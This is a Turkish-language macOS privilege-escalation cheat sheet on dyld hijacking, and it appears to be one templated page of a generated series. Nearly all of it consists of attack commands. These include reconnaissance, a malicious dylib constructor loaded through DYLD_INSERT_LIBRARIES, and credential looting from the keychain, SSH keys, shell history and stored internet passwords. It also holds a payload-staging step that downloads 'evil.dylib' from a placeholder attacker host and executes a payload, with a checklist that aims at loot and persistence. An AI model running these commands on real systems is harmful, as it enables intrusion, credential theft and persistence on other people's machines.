Macos Dyld Hijacking And Dyld Insert Libraries
macos privesc
Macos Dyld Hijacking And Dyld Insert Libraries macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.
Metodoloji
Section titled “Metodoloji”-
SIP/TCC/Gatekeeper/codesign durumunu ölç.
-
Macos Dyld Hijacking And Dyld Insert Librariesiçin launch item, entitlement ve library/XPC yüzeyini tara. -
Injection veya privacy bypass hipotezini doğrula.
-
Keychain/TCC/hassas dosya kanıtını al.
Macos Dyld Hijacking And Dyld Insert Libraries macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.
id; whoami; hostnamesw_vers; uname -acsrutil statusspctl --statussystem_profiler SPSoftwareDataType | head -n 40ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/nullps aux | head -n 50lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | headInjection / XPC / library
Section titled “Injection / XPC / library”DYLD hijack, XPC client check zayıflığı ve script runtime injection sık privesc/persist yoludur.
codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i 'disable-library|get-task|library'otool -L /Applications/App.app/Contents/MacOS/* 2>/dev/null | headotool -l /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -A2 'LC_RPATH|LC_LOAD_DYLIB' | head -n 40DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/AppDYLD_PRINT_LIBRARIES=1 /Applications/App.app/Contents/MacOS/App 2>&1 | headlaunchctl print system/com.example.service 2>/dev/null | headls /System/Library/LaunchDaemons /Library/LaunchDaemons 2>/dev/null | headnm /Applications/App.app/Contents/MacOS/* 2>/dev/null | rg -i 'xpc|mach' | head#include <stdio.h>__attribute__((constructor)) void init(){ system("id > /tmp/pwned");}clang -dynamiclib -o /tmp/evil.dylib evil.cSistem / binary / debug
Section titled “Sistem / binary / debug”Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.
file /Applications/App.app/Contents/MacOS/*lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/nullnm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | headvmmap $(pgrep -n App) 2>/dev/null | headlldb -p $(pgrep -n App)nvram -pkextstat 2>/dev/null | headsystemextensionsctl list 2>/dev/nullioreg -l | rg -i 'IOUserClient|IOKit' | headls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | headfind /Users /Library -name '*.plist' 2>/dev/null | head -n 40Privesc hızlı tarama
Section titled “Privesc hızlı tarama”find / -perm -4000 2>/dev/null | headls -la /usr/local/bin /opt 2>/dev/nullcrontab -l; ls /etc/cron* 2>/dev/nulldscl . -read /Groups/admin GroupMembershipsudo -l 2>/dev/nullHassas veri ve loot
Section titled “Hassas veri ve loot”ls -la ~/Library/Keychains ~/.ssh 2>/dev/nullcat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50defaults read 2>/dev/null | headfind ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | headsecurity find-internet-password -g 2>/dev/null | headDYLD hijack
Section titled “DYLD hijack”com.apple.security.cs.disable-library-validation veya unsigned target’ta DYLD_INSERT_LIBRARIES.
codesign -d --entitlements :- /Applications/App.app 2>&1 | rg -i libraryDYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/App.app/Contents/MacOS/Appinstall_name_tool -change OLD NEW /path/to/binotool -L /path/to/binManuel doğrulama
Section titled “Manuel doğrulama”# Macos Dyld Hijacking And Dyld Insert Libraries — varyant 86ls -la@ ~/Library ~/Documents 2>/dev/null | headmdfind 'kMDItemKind == Application' | headdefaults read com.apple.dock 2>/dev/null | headlog show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | headfs_usage -w -f filesys 2>/dev/null | headsample App 3 2>/dev/null | headPayload taşıma
Section titled “Payload taşıma”python3 -m http.server 8000curl -O http://ATTACKER/evil.dylibchmod +x ./payload && ./payloadChecklist
Section titled “Checklist”[ ] SIP/TCC/Gatekeeper durumu ölçüldü[ ] Launch item / entitlements / codesign tarandı[ ] Injection veya XPC hipotezi doğrulandı[ ] Keychain/TCC/hassas veri loot alındı[ ] Kalıcılık veya yüksek yetki kanıtlandıNotlar
Section titled “Notlar”Macos Dyld Hijacking And Dyld Insert Libraries sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.